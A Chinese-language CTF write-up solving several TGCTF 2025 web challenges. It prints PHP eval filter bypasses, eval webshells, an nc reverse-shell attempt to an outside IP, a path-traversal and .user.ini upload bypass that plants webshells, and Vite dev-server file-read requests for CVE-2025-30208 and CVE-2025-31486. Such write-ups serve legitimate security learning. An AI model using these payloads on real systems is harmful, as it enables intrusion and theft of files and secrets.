AAA偷渡阴平
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);
过滤了很多东西,这里看看没有过滤什么
字母(大小写均可)
数字 2
空格英文括号 ()
下划线 _
分号 ;
非常严格system(ls);可以看到当前目录,但是(ls /)肯定不行
用 FILE
获取当前路径
?tgctf2025=print_r(dirname(__FILE__));// 查看当前目录
print_r()打印;dirname()目录回溯

这里只能查看当前目录dirname(),想到用scandir函数
scandir
是一个 用于扫描目录内容并返回文件列表的函数
Array
(
[0] => .
[1] => ..
[2] => file1.txt
[3] => subdir
)
会返回指定路径下的所有文件/子目录名称
?tgctf2025=print_r(scandir(dirname(dirname(dirname(dirname(__FILE__))))));

看到了flag文件在根目录下,但是无法通过.flag直接读取
想到用readfile(flag)读取
chdir()
函数可以改变当前工作目录到根目录/
,所以配合readfile(),读取目录下的flag
?tgctf2025=chdir(dirname(dirname(dirname(dirname(__FILE__)))));readfile(flag);

火眼辩魑魅
原题的robotx.txt中只有tgshell.php有漏洞
<?php
$shell=$_POST["shell"];
{
eval($shell);
}
?>
由于直接给了Webshell脚本,先试试
POST:shell=phpinfo();
成功返回php配置信息,这里可以考虑查看环境变量找flag,但是没有

直接尝试,还有其他的命令执行函数都被过滤
shell=system('ls /');

直接蚁剑

注:
这里我还尝试
shell=nc -e /bin/sh 1.95.38.198 2333
shell=system('nc -e /bin/sh 1.95.38.198 2333');
来反弹shell,但是eval()
接收字符串并作为 PHP 代码 执行,所以上面是错误的语法
而下面才是正确的,但是system等函数被ban,无法进行
(ez)upload

题目提示有备份文件

index.php.bak

没用,因为是文件上传,猜想有其他备份文件
upload.php.bak
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);
if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}
// 设置 HTTP 状态码
http_response_code($status_code);
// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);
题目中通过 $_GET['name']
参数直接控制上传后的文件名
if (isset($_GET['name'])) {
$file_name = $_GET['name']; // 直接使用GET参数控制文件名
} else {
$file_name = basename($_FILES['name']['name']);
}
代码未对 $file_name
做路径过滤,可通过 ../
实现路径穿越,将文件写入上级目录
1.利用 .user.ini
PHP会在每个目录下扫描 .user.ini
文件,允许覆盖PHP配置,使所有PHP文件执行前/后自动包含指定文件
POST /upload.php?name=../.user.ini
auto_prepend_file=a.jpg
POST /upload.php?name=../a.jpg
<?php phpinfo();?>
或者
<?php system('cat /proc/self/environ');?>
<?php system('env');?>//查看环境变量

2../绕过
POST /upload.php?name=muma.php/.
<?php @eval($_POST['pass']);?>
http://127.0.0.1:56963/uploads/muma.php
连接,查看环境变量

POST /upload.php?name=../hack.php/.
<?php @eval($_POST['hack']);?>
http://127.0.0.1:62126/hack.php//在根目录下
hack=system('env');

直面天命
创建虚拟环境和激活
python3 -m venv myenv
source myenv/bin/activate
前端GAME

前面就拿了几分被说菜,后面拿到几十分后,就给了提示

/tgflagggg
什么源代码都没东西,看看框架,可能有漏洞

CVE-2025-30208//漏洞码

由于题目告诉了flag的位置,再配合漏洞应该就可以读取

GET /@fs/(tgflagggg)?import&raw??//括号内容即可任意文件读取


前端GAME(plus)

同样的,不过vite的版本更新了
CVE-2025-31486

http://127.0.0.1:5173/(tgflagggg)?.svg?.wasm?init//括号内任意文件读取

解码即可

Comments NOTHING